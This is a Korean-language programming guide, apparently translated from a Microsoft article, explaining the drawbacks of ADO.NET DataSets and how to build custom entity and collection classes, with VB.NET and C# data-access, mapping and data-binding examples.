DataSet가 특히 적합한 상황은 프로토타입, 소형 시스템 및 지원 유틸리티를 비롯하여 다양합니다. 하지만 출시 시간보다 유지 관리의 편의성이 중요한 엔터프라이즈 시스템에 사용하면 최상의 효과를 발휘하지 못할 수도 있습니다. 이 가이드의 목표는 이러한 작업 유형을 위해 조정된DataSet를 대신할 사용자 지정 엔터티 및 컬렉션이라는 대안을 살펴보는 것입니다. 다른 대안도 있기는 하지만 기능이 동일하지 않거나 지원 수준이 떨어집니다. 가장 먼저 할 일은DataSet의 단점을 확인하고 해결할 문제를 이해하는 것입니다.
모든 솔루션은 저마다 장단점이 있으므로 사용자 지정 엔터티의 단점(이후 설명 참조)보다DataSet의 단점에 더 친숙해질 수 있습니다. 따라서 여러분과 팀 구성원은 해당 프로젝트에 보다 적합한 솔루션을 결정해야만 합니다. 또한 변경할 요구 사항의 특성 및 실제 코드 개발보다 생산 후에 더 많은 시간이 소요될 가능성을 비롯하여 총 솔루션 비용을 반드시 고려해야 합니다. 마지막으로, 여기서 언급하는DataSet는 형식화되지 않은DataSet의 일부 단점을 해결한 형식화된DataSet를 말하는 것이 아님을 유의하십시오.
DataSet의 대안을 고려해야 할 첫 번째이자 가장 확실한 이유는 코드와 데이터베이스 구조를 분리할 수 없다는 점에 있습니다.DataAdapter는 기본 데이터베이스 공급업체(Microsoft, Oracle, IBM 등) 종류에 관계 없이 코드를 작성하는 데는 효과적이지만 테이블, 열 및 관계 같은 핵심 데이터베이스 구성 요소를 추상화하지는 못합니다. 이러한 핵심 데이터베이스 구성 요소는DataSet의 핵심 구성 요소이기도 합니다.DataSet와 데이터베이스는 일반적인 구성 요소 이상의 것을 공유하며 아쉽게도 스키마까지 공유합니다. 다음과 같은 Select 문이 있다고 가정합시다.
SELECT UserId, FirstName, LastName FROM Users
다들 알겠지만 값은DataSet내의UserId,FirstName및LastNameDataColumn에 있습니다.
이것이 어째서 문제가 되는 것일까요? 기본적인 일반 예제를 살펴봅시다. 먼저 다음과 같이 간단한 DAL 함수를 만듭니다.
'Visual Basic .NETPublic Function GetAllUsers() As DataSet Dim connection As New SqlConnection(CONNECTION_STRING) Dim command As SqlCommand = New SqlCommand("GetUsers", connection) command.CommandType = CommandType.StoredProcedure Dim da As SqlDataAdapter = New SqlDataAdapter(command) Try Dim ds As DataSet = New DataSet da.Fill(ds) Return ds Finally connection.Dispose() command.Dispose() da.Dispose() End TryEnd Function//C#public DataSet GetAllUsers() { SqlConnection connection = new SqlConnection(CONNECTION_STRING); SqlCommand command = new SqlCommand("GetUsers", connection); command.CommandType = CommandType.StoredProcedure; SqlDataAdapter da = new SqlDataAdapter(command); try { DataSet ds = new DataSet(); da.Fill(ds); return ds; }finally { connection.Dispose(); command.Dispose(); da.Dispose(); } }그런 다음 아래와 같이 모든 사용자의 이름을 표시하는 반복기가 있는 페이지를 만듭니다.
<HTML> <body> <form id="Form1" method="post" runat="server"> <asp:Repeater ID="users" Runat="server"> <ItemTemplate> <%# DataBinder.Eval(Container.DataItem, "FirstName") %> <br /> </ItemTemplate> </asp:Repeater> </form> </body></HTML><script runat="server"> public sub page_load users.DataSource = GetAllUsers() users.DataBind() end sub</script>
위에 나온 것처럼 ASPX 페이지는 반복기의DataSource에 대해 DAL 함수GetAllUsers를 사용합니다. 어떠한 이유로든(예: 성능 향상을 위한 비정규화, 명확도 향상을 위한 정규화, 요구 사항의 변화) 데이터베이스 스키마가 변경되면 변경 내용은 항상 "FirstName" 열 이름을 사용하는 ASPX 즉,Databinder.Eval줄로 전달됩니다. 이렇게 되면 즉시 '데이터베이스 스키마의 변경 내용이 항상 ASPX 코드로 전달될까?'와 같은 위험한 의문이 머리 속에 떠오르게 됩니다. N 계층의 장점이 무색해지는 대목입니다.
해야 할 작업이 간단한 열 이름 바꾸기 뿐이라면 이 예제에서의 변경 작업은 간단하게 이루어집니다. 그러나GetAllUsers를 수많은 위치에 사용하거나 설상가상으로 웹 서비스로 노출하여 수없이 많은 소비자에게 공급한다면 어떻게 될까요? 얼마나 쉽게 또는 안전하게 변경 내용을 전파할 수 있을까요? 이 기본 예제에서는 저장 프로시저가 추상화 계층 역할을 수행하는 것으로 충분하지만 가장 기본적인 보호의 용도 이외에 모든 부분에서 저장 프로시저에 의존하면 향후 더 큰 문제가 발생하게 됩니다. 그러면 이러한 형태를 하드 코딩이라고 가정해 봅시다. 본질적으로DataSet를 사용하면 데이터베이스 스키마(열 이름을 사용하든 순서를 사용하든 관계없이)와 응용 프로그램/비즈니스 계층 사이에 긴밀한 연결을 만들게 됩니다. 이전의 경험(또는 논리)을 통해 하드 코딩이 유지 관리 및 향후 개발에 미치는 악영향을 알고 있을 것입니다.
DataSet가 적절한 추상화를 제공하지 못하는 또 다른 이유는 개발자가 기본 스키마를 알고 있어야 하기 때문입니다. 여기서 말하는 스키마란 기본 지식을 의미하는 것이 아니라 열 이름, 형식 및 관계에 대한 전체 지식을 의미하는 것입니다. 이러한 요구 사항을 없애면 위에서처럼 코드가 잘못될 위험이 줄어들 뿐 아니라 작성 및 유지 관리도 용이해집니다. 간단히 나타내면 다음과 같습니다.
Convert.ToInt32(ds.Tables[0].Rows[i]["userId"]);
위의 코드는 읽기 어려울 뿐만 아니라 열 이름 및 해당 형식에 대해 자세히 알고 있어야 합니다. 이상적인 경우라면 비즈니스 계층에서는 기본 데이터베이스, 데이터베이스 스키마 또는 SQL에 대해 전혀 알 필요가 없습니다.DataSet를 이전 코드 문자열에 나타난 대로 사용하면(CodeBehind를 사용해도 효과가 없음) 비즈니스 계층이 매우 얇아질 수 있습니다.
DataSet는 오류가 자주 발생하여 개발 노력에 영향을 줄 수 있는 약한 형식입니다. 다시 말해DataSet에서 값을 검색할 때마다System.Object형식으로 반환되므로 이를 변환해야 합니다. 여기서 직면하는 위험은 변환에 실패하는 상황입니다. 안타깝게도 이러한 실패 상황은 컴파일 타임이 아닌 런타임에 발생합니다. 또한 Microsoft VS.NET(Visual Studio.NET) 같은 도구는 개발자가 약한 형식의 개체를 작업하는 데 있어 그다지 많은 도움이 되지 못합니다. 바로 이러한 이유 때문에 앞에서 스키마에 대해 풍부한 지식을 갖추고 있어야 한다고 언급한 것입니다. 다음은 매우 일반적인 예제입니다.
'Visual Basic.NETDim userId As Integer = Convert.ToInt32(ds.Tables(0).Rows(0)("UserId"))Dim userId As Integer = CInt(ds.Tables(0).Rows(0)("UserId"))Dim userId As Integer = CInt(ds.Tables(0).Rows(0)(0))//C#int userId = Convert.ToInt32(ds.Tables[0].Rows[0]("UserId"));이 코드는DataSet에서 값을 검색할 수 있는 방법을 나타내며 아마도 수 많은 위치에 이 코드가 있을 것입니다(변환을 수행하지 않고 현재 Visual Basic .NET을 사용하는 경우 Option Strict를 비활성화했을 것이며 이 경우 문제는 훨씬 심각해집니다).
아쉽게도 위의 각 코드 줄은 다음과 같은 수많은 런타임 오류를 발생시킬 수 있습니다.
null/nothing에 대한 확인과try/catch를 변환 과정에 추가하는 방식으로 코드를 수정하여 좀 더 방어적으로 작성할 수 있더라도 개발자에게는 도움이 되지 않습니다.
가장 나쁜 상황은 앞에서 언급했듯이 추상화되지 않는다는 점입니다. 이렇게 되면DataSet에서userId를 제거할 때마다 앞에서 언급한 위험을 겪게 되거나 동일한 방어 단계를 다시 프로그래밍해야 합니다(이 문제를 완화하는 데는 유틸리티 함수가 도움이 됨). 약한 형식의 개체는 오류를 항상 자동으로 발견하여 손쉽게 수정하는 디자인 타임이나 컴파일 타임에서 위험이 생산 단계에 노출되어 잡아내기가 어려운 런타임으로 옮깁니다.
DataSet가 개체이고 C# 및 Visual Basic .NET이 OO(개체 지향) 언어라고 해서 이를 사용할 때 개체 지향이 자동으로 이루어지는 것은 아닙니다. OO 프로그래밍의 "Hello World"는 일반적으로Person클래스의 하위 클래스인Employee클래스 입니다. 그러나DataSet는 이러한 상속 유형이나 대부분의 다른 OO 기법을 가능한(최소한 자연스럽게/직관적으로) 만들지 않습니다. 클래스 엔터티의 열렬한 지지자인 Scott Hanselman은 이를 다음과 같이 잘 설명하고 있습니다.
"DataSet는 물론 개체입니다. 그러나 도메인 개체도 아니고 'Apple' 또는 'Orange'도 아닌 'DataSet' 형식의 개체입니다.DataSet는 일종의 그릇입니다(백업 데이터 저장소에 대한 정보가 있는). DataSet는 행과 열을 저장하는 방법을 알고 있는 개체이기도 합니다. 또한 이 개체는 데이터베이스에 대해서도 많은 부분을 알고 있습니다. 그러나 저는 그릇은 반환하고 싶지 않으며 'Apples' 같은 도메인 개체를 반환하고 싶습니다."1
DataSet는 데이터를 관계 형식으로 유지하므로 강력한 특성을 나타내고 관계형 데이터베이스와 함께 사용하기 편리합니다. 하지만 아쉽게도 이렇게 되면 OO의 이점을 놓치게 됩니다.
DataSet는 도메인 개체 역할을 할 수 없으므로 기능을 추가할 수 없습니다. 일반적으로 개체에는 클래스 인스턴스에 대해 동작하는 필드, 속성 및 메서드가 있습니다. 예를 들어Promote또는CalcuateOvertimePay함수가someUser.Promote()또는someUser.CalculateOverTimePay()를 통해 명확하게 호출할 수 있는User개체와 연결되어 있을 수 있습니다.DataSet에 메서드를 추가할 수 없으므로 유틸리티 함수를 사용하고 약한 형식의 개체를 처리하며 하드 코딩된 값의 인스턴스를 코드 전체에 추가로 분배해야 합니다. 또한 기본적으로 절차 코드로 마무리하여DataSet에서 계속 데이터를 제거하거나 이를 로컬 변수에 저장하여 전달합니다. 두 메서드 모두 단점은 있지만 어느 쪽도 이점은 없습니다.
데이터 액세스 계층이DataSet를 반환하기 위한 것이라는 생각을 가지고 있으면 몇 가지 중요한 이점을 놓칠 수 있습니다. 한 가지 이유는 특히 추상화 능력을 제한하는 얇거나 존재하지 않는 비즈니스 계층을 사용할 수 있기 때문입니다. 또한 미리 빌드된 일반적인 솔루션을 사용하기 때문에 OO 기법을 사용하기가 어렵습니다. 마지막으로 Visual Studio.NET 같은 도구는DataSet같은 약한 형식의 개체를 사용하는 개발자의 능률을 손쉽게 끌어올리지 못해 생산성을 떨어뜨리고 버그의 발생 가능성을 높이게 됩니다.
이러한 모든 요소가 이런 저런 방식으로 코드의 관리 용이성에 직접적으로 영향을 미칩니다. 추상화를 수행하지 않으면 기능 변경 및 버그 수정의 복잡성과 위험이 높아집니다. 또한 코드 재사용이나 OO에서 제공하는 향상된 가독성을 완전히 활용할 수 없게 됩니다. 게다가 개발자는 비즈니스 논리를 작업하든 프레젠테이션 논리를 작업하든 간에 기본 데이터 구조에 대해 자세히 알고 있어야 합니다.
DataSet와 관련된 대부분의 문제는 효율적으로 정의된 비즈니스 계층 내에 OO 프로그래밍의 풍부한 기능을 활용하여 해결할 수 있습니다. 일단 기본적으로 필요한 것은 관계에 따라 구성된 데이터(데이터베이스)를 얻어 개체(코드)에서 사용하는 것입니다. 개념적인 측면에서 보면 자동차에 대한 정보를 저장하는DataTable을 가지는 대신에 실제로 자동차 개체(사용자 지정 엔터티 또는 도메인 개체라고 함)를 가지는 것입니다.
사용자 지정 엔터티를 살펴보기 전에 먼저 당면한 과제를 짚고 넘어가겠습니다. 가장 분명하게 드러나는 부분은 필요한 코드의 양입니다. 데이터를 가져와DataSet를 자동으로 채우는 대신 데이터를 가져와 먼저 만들어야 하는 사용자 지정 엔터티에 수동으로 매핑합니다. 이렇게 되면 반복 작업을 수행하게 되므로 코드 생성 도구 또는 O/R 매퍼를 사용하여 이를 줄여야 합니다. 이에 대해서는 나중에 자세히 다룰 것입니다. 보다 큰 문제는 데이터를 관계 영역에서 개체 영역으로 매핑하는 실제 프로세스입니다. 단순한 시스템에서는 매핑이 가장 간단한 작업이지만 시스템이 복잡해지면 두 영역 간의 차이가 벌어져 문제가 발생할 수 있습니다. 예를 들어 개체 영역에서 코드 재사용 및 관리 용이성에 도움이 되는 주요 기법에는 상속이 있습니다. 하지만 아쉽게도 상속은 관계형 데이터베이스에서 낯선 개념입니다. 이러한 차이점의 또 다른 예는 개체 영역은 개별 개체에 대한 참조를 관리하고, 관계 영역은 외래 키를 사용한다는 점입니다.
이렇게 하면 마치 이 접근 방식이 코드의 양이 많고 관계형 데이터와 개체 간의 불일치로 인해 복잡한 시스템에는 적합하지 않는 것처럼 들리지만 실제로는 정반대입니다. 복잡한 시스템은 단일 계층에서 격리하는 데(매핑 프로세스) 어려움이 있으므로 이 접근 방식이 도움이 됩니다(자동화 가능). 또한 이 접근 방식은 이미 상당히 널리 사용되고 있으므로 추가되는 복잡성을 명확하게 처리할 수 있는 다양한 디자인 패턴이 나와 있습니다. 앞에서 복잡한 시스템의 단점과 함께 다룬DataSet의 단점을 좀 더 자세히 살펴보면 결국 시스템을 빌드하는 데 따르는 어려움은 변경 불가능한 특성만 뛰어넘는 수준으로 마무리 될 것입니다.
사용자 지정 엔터티는 비즈니스 도메인을 나타내는 개체로 비즈니스 계층의 기초가 됩니다. 사용자 인증 구성 요소(이 가이드 전체에서 사용할 예제)가 있다면 아마도User및Role개체가 있을 것입니다. 또한 전자 상거래 시스템이라면Supplier와Merchandise개체가, 부동산 회사에는Houses,Rooms및Addresses가 있을 수 있습니다. 사용자 지정 엔터티는 코드 내에서 단순한 클래스입니다(엔터티와 클래스는 OO 프로그래밍에 사용될 때 상당히 밀접한 상관 관계를 가짐). 일반적인User클래스는 다음과 같습니다.
'Visual Basic .NETPublic Class User#Region "Fields and Properties" Private _userId As Integer Private _userName As String Private _password As String Public Property UserId() As Integer Get Return _userId End Get Set(ByVal Value As Integer) _userId = Value End Set End Property Public Property UserName() As String Get Return _userName End Get Set(ByVal Value As String) _userName = Value End Set End Property Public Property Password() As String Get Return _password End Get Set(ByVal Value As String) _password = Value End Set End Property#End Region#Region "Constructors" Public Sub New() End Sub Public Sub New(id As Integer, name As String, password As String) Me.UserId = id Me.UserName = name Me.Password = password End Sub#End RegionEnd Class//C#public class User {#region "Fields and Properties" private int userId; private string userName; private string password; public int UserId { get { return userId; } set { userId = value; } } public string UserName { get { return userName; } set { userName = value; } } public string Password { get { return password; } set { password = value; } }#endregion#region "Constructors" public User() {} public User(int id, string name, string password) { this.UserId = id; this.UserName = name; this.Password = password; }#endregion}사용자 지정 엔터티를 통해 얻게 되는 중요한 이점은 컨트롤에서는 완전히 개체라는 단순한 사실에서 비롯됩니다. 즉, 사용자 지정 엔터티를 사용하면 다음을 수행할 수 있습니다.
예를 들어User클래스는 클래스에UpdatePassword함수를 추가하여 효과적으로 사용할 수 있습니다(외부/유틸리티 함수를 사용하면 DataSet로도 가능하지만 가독성과 관리 용이성이 희생됨). 또한 강력한 형식이므로 IntelliSense가 지원됩니다.
그림 1. User 클래스의 IntelliSense
마지막으로 사용자 지정 엔터티는 강력한 형식이므로 다음과 같이 오류에 취약한 캐스트가 덜 필요합니다.
Dim userId As Integer = user.UserId'vsDim userId As Integer = Convert.ToInt32(ds.Tables("users").Rows(0)("UserId"))앞에서 언급했듯이 이 접근 방식의 한 가지 큰 난제는 관계형 데이터와 개체 간의 차이를 처리하는 것입니다. 관계형 데이터베이스에는 데이터가 영구적으로 저장되기 때문에 두 영역을 연결하는 것 외에 다른 선택은 없습니다. 앞의User예제에서 예상되는 데이터베이스의 사용자 테이블 모양은 다음과 같습니다.
그림 2. User의 데이터 뷰
이 관계형 스키마에서 사용자 지정 엔터티로 매핑하는 작업은 다음과 같이 매우 간단하게 이루어집니다.
'Visual Basic .NETPublic Function GetUser(ByVal userId As Integer) As User Dim connection As New SqlConnection(CONNECTION_STRING) Dim command As New SqlCommand("GetUserById", connection) command.Parameters.Add("@UserId", SqlDbType.Int).Value = userId Dim dr As SqlDataReader = Nothing Try connection.Open() dr = command.ExecuteReader(CommandBehavior.SingleRow) If dr.Read Then Dim user As New User user.UserId = Convert.ToInt32(dr("UserId")) user.UserName = Convert.ToString(dr("UserName")) user.Password = Convert.ToString(dr("Password")) Return user End If Return Nothing Finally If Not dr is Nothing AndAlso Not dr.IsClosed Then dr.Close() End If connection.Dispose() command.Dispose() End TryEnd Function//C#public User GetUser(int userId) { SqlConnection connection = new SqlConnection(CONNECTION_STRING); SqlCommand command = new SqlCommand("GetUserById", connection); command.Parameters.Add("@UserId", SqlDbType.Int).Value = userId; SqlDataReader dr = null; try { connection.Open(); dr = command.ExecuteReader(CommandBehavior.SingleRow); if (dr.Read()){ User user = new User(); user.UserId = Convert.ToInt32(dr["UserId"]); user.UserName = Convert.ToString(dr["UserName"]); user.Password = Convert.ToString(dr["Password"]); return user; } return null; }finally{ if (dr != null && !dr.IsClosed){ dr.Close(); } connection.Dispose(); command.Dispose(); }}connection 및 command 개체는 여전히 평소와 마찬가지로 설정하지만User클래스의 새로운 인스턴스를 만들고DataReader에서 이를 채웁니다. 또한 이 함수 내에서 계속해서DataSet를 사용하여 이를 사용자 지정 엔터티에 매핑할 수 있지만DataReader에 대한DataSet의 주된 이점은 연결이 끊어진 데이터 뷰를 제공한다는 것입니다. 이 경우User인스턴스는 이처럼 연결이 끊어진 뷰를 제공하여DataReader의 속도를 활용할 수 있게 해줍니다.
주의 깊은 독자라면DataSet에 대해 지적한 문제 중 한 가지가 강력한 형식이 아닌 관계로 생산성이 떨어지고 런타임 오류 발생 가능성이 높은 점이라는 것을 알 수 있습니다. 또한 개발자들은 기본 데이터 구조에 대해 세부적인 지식을 갖추고 있어야 합니다. 앞의 코드를 보면 이와 똑같은 함정이 숨어 있음을 알 수 있을 것입니다. 그러나 이러한 문제들은 완전히 격리된 코드 영역에 캡슐화되어 있으므로 클래스 엔터티(웹 인터페이스, 웹 서비스 소비자 및 Windows Form)의 소비자는 이러한 문제를 완전히 알 수 없다는 점을 고려해야 합니다. 이와 반대로DataSet를 사용하면 코드 전체에 이러한 문제가 확산됩니다.
앞의 코드는 매핑 개념을 설명하기 위한 것으로, 두 가지 주요 부분을 향상시켜 이를 개선할 수 있습니다. 첫째, 채우기 코드를 자체 함수로 끌어내어 재사용이 쉽도록 합니다.
'Visual Basic .NETPublic Function PopulateUser(ByVal dr As IDataRecord) As User Dim user As New User user.UserId = Convert.ToInt32(dr("UserId")) 'NULL 검사 예제 If Not dr("UserName") Is DBNull.Value Then user.UserName = Convert.ToString(dr("UserName")) End If user.Password = Convert.ToString(dr("Password")) Return userEnd Function//C#public User PopulateUser(IDataRecord dr) { User user = new User(); user.UserId = Convert.ToInt32(dr["UserId"]); //NULL 검사 예제 if (dr["UserName"] != DBNull.Value){ user.UserName = Convert.ToString(dr["UserName"]); } user.Password = Convert.ToString(dr["Password"]); return user;}(참고: 프로그래머 코멘트는 샘플 프로그램 파일에는 영문으로 제공되며 기사에는설명을 위해 번역문으로 제공됩니다.)
두 번째로 확인할 사항은 매핑 함수에SqlDataReader를 사용하는 대신IDataRecord를 사용했다는 점입니다. 이것은 모든DataReader가 구현하는 인터페이스입니다.IDataRecord를 사용하면 매핑 프로세스를 공급업체와 무관하게 실행할 수 있습니다. 즉, 앞의 함수가OleDbDataReader를 사용하더라도 이를 통해 Access 데이터베이스에서User를 매핑할 수 있습니다. 이러한 특정 접근 방식과 Provider Model Design Pattern(링크 1 ,링크 2 )을 조합하면 서로 다른 데이터베이스 공급업체에 대해 손쉽게 사용할 수 있는 코드를 얻게 됩니다.
마지막으로 위의 코드는 캡슐화가 얼마나 강력한지를 보여 줍니다.DataSet의NULL을 처리하기가 쉽지 않은 이유는 값을 추출할 때마다NULL인지 확인해야 하기 때문입니다. 우리는 위의 채우기 메서드를 사용해 이를 단일 위치에서 편리하게 관리하여 소비자가 이를 직접 처리해야 하는 수고를 덜어주었습니다.
이러한 데이터 액세스 및 매핑 함수가 개별 클래스의 일부인지 아니면 해당 사용자 엔터티의 일부인지에 대한 논란이 일부에서 제기되고 있습니다. 모든 사용자 관련 작업(데이터 얻기, 업데이트 및 매핑)을User사용자 지정 엔터티의 일부로 사용하면 확실한 이점을 얻을 수 있습니다. 이러한 특성은 데이터베이스 스키마가 사용자 지정 엔터티와 매우 비슷한 경우에 확실한 효과를 나타냅니다(이 예제에서처럼). 시스템의 복잡성이 늘어나면서 두 영역 간의 차이가 드러나기 시작함에 따라 데이터 계층과 비즈니스 계층을 명확하게 구분하면 유지 관리를 단순화하는 데 큰 도움이 될 수 있습니다(이를 데이터 액세스 계층이라고 함). 자체 계층인 DAL 내에 액세스 및 매핑 코드를 두었을 때 얻어지는 부수적인 효과는 다음과 같은 명확한 계층 분리를 위한 훌륭한 규칙을 제공한다는 점입니다.
"System.Data에서 클래스를 반환하거나 DAL에서 자식 네임스페이스를 반환해서는 안 됩니다."
지금까지는 개별 엔터티를 처리하는 부분만 살펴보았지만 단일 개체를 둘 이상 처리해야 하는 경우도 비일비재할 것입니다. 이를 위한 단순한 솔루션은Arraylist같은 일반적인 컬렉션 내에 여러 값을 저장하는 것입니다. 하지만DataSet에 대해 겪었던 다음과 같은 몇 가지 문제를 다시 유발하므로 이상적인 솔루션이라고 하기에는 부족합니다.
여기서의 요구에 가장 적합한 솔루션은 사용자 지정 컬렉션을 만드는 것입니다. 다행히도 Microsoft .NET Framework는 다음과 같이 이를 위해 상속하도록 설계된 클래스인CollectionBase를 제공합니다.CollectionBase는 전용Arraylists내에 모든 개체 형식을 저장하지만User개체 같은 특정 형식만 사용하는 메서드를 통해 이들 전용 컬렉션에 대한 액세스를 노출하는 방식으로 작동합니다. 즉, 약한 형식의 코드가 강력한 형식의 API 내에 캡슐화되는 것입니다.
사용자 지정 컬렉션은 코드가 많은 것처럼 보이지만 대부분은 코드 생성 또는 잘라내기 및 붙여넣기를 쉽게 수행할 수 있으며 찾아서 바꾸기는 한 번만 수행하면 되는 경우가 많습니다. 다음과 같이User클래스의 사용자 지정 컬렉션을 구성하는 다양한 부분을 살펴보겠습니다.
'Visual Basic .NETPublic Class UserCollection Inherits CollectionBase Default Public Property Item(ByVal index As Integer) As User Get Return CType(List(index), User) End Get Set List(index) = value End Set End Property Public Function Add(ByVal value As User) As Integer Return (List.Add(value)) End Function Public Function IndexOf(ByVal value As User) As Integer Return (List.IndexOf(value)) End Function Public Sub Insert(ByVal index As Integer, ByVal value As User) List.Insert(index, value) End Sub Public Sub Remove(ByVal value As User) List.Remove(value) End Sub Public Function Contains(ByVal value As User) As Boolean Return (List.Contains(value)) End FunctionEnd Class//C#public class UserCollection : CollectionBase { public User this[int index] { get {return (User)List[index];} set {List[index] = value;} } public int Add(User value) { return (List.Add(value)); } public int IndexOf(User value) { return (List.IndexOf(value)); } public void Insert(int index, User value) { List.Insert(index, value); } public void Remove(User value) { List.Remove(value); } public bool Contains(User value) { return (List.Contains(value)); }}CollectionBase를 구현하면 더 많은 작업을 수행할 수 있지만 여기서는 사용자 지정 컬렉션에 필요한 핵심 기능만을 나열했습니다.Add함수를 살펴보면User개체만 허용되는 함수에서List.Add(Arraylist)에 대한 호출을 어떤 방식으로 간단히 래핑하는지 알 수 있습니다.
관계형 데이터를 사용자 지정 컬렉션에 매핑하는 프로세스는 사용자 지정 엔터티에 대해 살펴본 프로세스와 매우 유사합니다. 단일 엔터티를 만들어 반환하는 대신 컬렉션에 엔터티를 추가하고 다음 항목으로 반복합니다.
'Visual Basic .NETPublic Function GetAllUsers() As UserCollection Dim connection As New SqlConnection(CONNECTION_STRING) Dim command As New SqlCommand("GetAllUsers", connection) Dim dr As SqlDataReader = Nothing Try connection.Open() dr = command.ExecuteReader(CommandBehavior.SingleResult) Dim users As New UserCollection While dr.Read() users.Add(PopulateUser(dr)) End While Return users Finally If Not dr Is Nothing AndAlso Not dr.IsClosed Then dr.Close() End If connection.Dispose() command.Dispose() End TryEnd Function//C#public UserCollection GetAllUsers() { SqlConnection connection = new SqlConnection(CONNECTION_STRING); SqlCommand command =new SqlCommand("GetAllUsers", connection); SqlDataReader dr = null; try { connection.Open(); dr = command.ExecuteReader(CommandBehavior.SingleResult); UserCollection users = new UserCollection(); while (dr.Read()){ users.Add(PopulateUser(dr)); } return users; }finally{ if (dr != null && !dr.IsClosed){ dr.Close(); } connection.Dispose(); command.Dispose(); }}여기서는 데이터베이스에서 데이터를 가져오고 사용자 지정 컬렉션을 만들며 결과를 순환하여 각User개체를 만들고 이를 컬렉션에 추가합니다. 또한PopulateUser매핑 함수를 어떻게 재사용하는지 확인해 보십시오.
사용자 지정 엔터티에 대해 설명할 때 사용자 지정 동작을 클래스에 추가하는 기능에 대해서는 피상적으로만 언급했습니다. 엔터티에 추가할 기능의 유형은 주로 구현하는 비즈니스 논리의 유형에 따라 달라지지만 몇 가지 일반 기능을 사용자 지정 컬렉션에 구현해야 할 수 있습니다. 이에 대한 한 가지 예는 일정한 키를 토대로 단일 엔터티를 반환하는 것인데 예를 들어userId를 기반으로 사용자를 반환할 수 있습니다.
'Visual Basic .NETPublic Function FindUserById(ByVal userId As Integer) As User For Each user As User In List If user.UserId = userId Then Return user End If Next Return NothingEnd Function//C#public User FindUserById(int userId) { foreach (User user in List) { if (user.UserId == userId){ return user; } } return null;}또 다른 예는 다음과 같이 부분 사용자 이름 등의 특정 기준을 토대로 사용자 하위 집합을 반환하는 것입니다.
'Visual Basic .NETPublic Function FindMatchingUsers(ByVal search As String)
As UserCollection If search Is Nothing Then Throw New ArgumentNullException("search cannot be null") End If Dim matchingUsers As New UserCollection For Each user As User In List Dim userName As String = user.UserName If Not userName Is Nothing And userName.StartsWith(search) Then matchingUsers.Add(user) End If Next Return matchingUsersEnd Function//C#public UserCollection FindMatchingUsers(string search) { if (search == null){ throw new ArgumentNullException("search cannot be null"); } UserCollection matchingUsers = new UserCollection(); foreach (User user in List) { string userName = user.UserName; if (userName != null && userName.StartsWith(search)){ matchingUsers.Add(user); } } return matchingUsers;}DataSet를 사용하면DataTable.Select로도 동일한 방법을 수행할 수 있습니다. 자신의 기능을 만들면 코드를 완전히 제어할 수 있으며Select메서드는 매우 편리하고 자유로운 코딩 방식으로 이 기능을 제공합니다. 한편Select는 강력한 형식이 아니므로 이를 사용하려면 개발자가 기본 데이터베이스에 대해 알고 있어야 합니다.
우리가 살펴본 첫 번째 예제는DataSet를 ASP.NET 컨트롤에 바인딩한 것이었습니다. 이 작업이 상당히 자주 이루어진다는 점을 고려한다면 사용자 지정 컬렉션이 그만큼 쉽게 바인딩된다는 사실에 반가움을 느낄 것입니다(이는CollectionBase가 바인딩에 사용되는Ilist를 구현하기 때문임). 다음과 같이 사용자 지정 컬렉션은 이를 노출하는 모든 컨트롤에 대해DataSource역할을 수행할 수 있으며DataBinder.Eval은DataSet에서처럼 사용할 수 있습니다.
'Visual Basic .NETDim users as UserCollection = DAL.GetallUsers()repeater.DataSource = usersrepeater.DataBind()//C#UserCollection users = DAL.GetAllUsers();repeater.DataSource = users;repeater.DataBind();<!-- HTML --><asp:Repeater onItemDataBound="r_IDB" ID="repeater" Runat="server"> <ItemTemplate> <asp:Label ID="userName" Runat="server"> <%# DataBinder.Eval(Container.DataItem, "UserName") %><br /> </asp:Label> </ItemTemplate></asp:Repeater>
열 이름을DataBinder.Eval의 두 번째 매개 변수로 사용하는 대신 표시할 속성 이름을 지정하며 이 경우에는UserName입니다.
많은 데이터 바인딩된 컨트롤에 의해 노출되는OnItemDataBound또는OnItemCreated에서 처리를 수행하는 경우e.Item.DataItem을DataRowView로 캐스팅할 수 있습니다. 다음과 같이 사용자 지정 컬렉션에 바인딩하는 경우e.Item.DataItem은 대신 사용자 지정 엔터티로 캐스팅하며 이 예제에서는User클래스입니다.
'Visual Basic .NETProtected Sub r_ItemDataBound (s As Object,
e As RepeaterItemEventArgs) Dim type As ListItemType = e.Item.ItemType If type = ListItemType.AlternatingItem OrElse type = ListItemType.Item Then Dim u As Label = CType(e.Item.FindControl("userName"), Label)Dim currentUser As User = CType(e.Item.DataItem, User)If Not PasswordUtility.PasswordIsSecure(currentUser.Password) Then ul.ForeColor = Drawing.Color.Red End If End IfEnd Sub//C#protected void r_ItemDataBound(object sender,RepeaterItemEventArgs e) { ListItemType type = e.Item.ItemType; if (type == ListItemType.AlternatingItem || type == ListItemType.Item){ Label ul = (Label)e.Item.FindControl("userName");User currentUser = (User)e.Item.DataItem;if (!PasswordUtility.PasswordIsSecure(currentUser.Password)){ ul.ForeColor = Color.Red; } }}아무리 단순한 시스템이라도 엔터티 간에 관계가 존재하기 마련입니다. 관계형 데이터베이스의 관계는 외래 키를 통해 관리되며 개체를 사용하는 경우 관계는 다른 개체에 대한 참조에 해당합니다. 예를 들어 앞의 예제를 기반으로 설명하면User개체에 다음과 같은Role이 만들어질 것으로 예측할 수 있습니다.
'Visual Basic .NETPublic Class User Private _role As Role Public Property Role() As Role Get Return _role End Get Set(ByVal Value As Role) _role = Value End Set End PropertyEnd Class//C#public class User { private Role role; public Role Role { get {return role;} set {role = value;} }}또는 다음과 같은Role의 컬렉션일 수도 있습니다.
'Visual Basic .NETPublic Class User Private _roles As RoleCollection Public ReadOnly Property Roles() As RoleCollection Get If _roles Is Nothing Then _roles = New RoleCollection End If Return _roles End Get End PropertyEnd Class//C#public class User { private RoleCollection roles; public RoleCollection Roles { get { if (roles == null){ roles = new RoleCollection(); } return roles; } }}위의 두 예제에 사용된Role클래스 또는RoleCollection클래스는 가상의 것으로, 이는User및UserCollection클래스와 같이 사용자 지정 엔터티 또는 컬렉션 클래스의 하나 입니다.
실질적인 문제는 관계를 매핑하는 방법에 있습니다. 간단한 예제를 살펴보고 역할과 함께userId를 기반으로 사용자를 검색하겠습니다. 먼저, 다음과 같은 관계형 모델을 살펴봅니다.
그림 3. Users 및 Roles 간의 관계
이제Users테이블과Roles테이블 모두 간단한 방식으로 사용자 지정 엔터티에 매핑할 수 있는지 확인해 보겠습니다. 여기에는Users와Roles사이에 다대다 관계를 나타내는UserRoleJoin테이블도 있습니다.
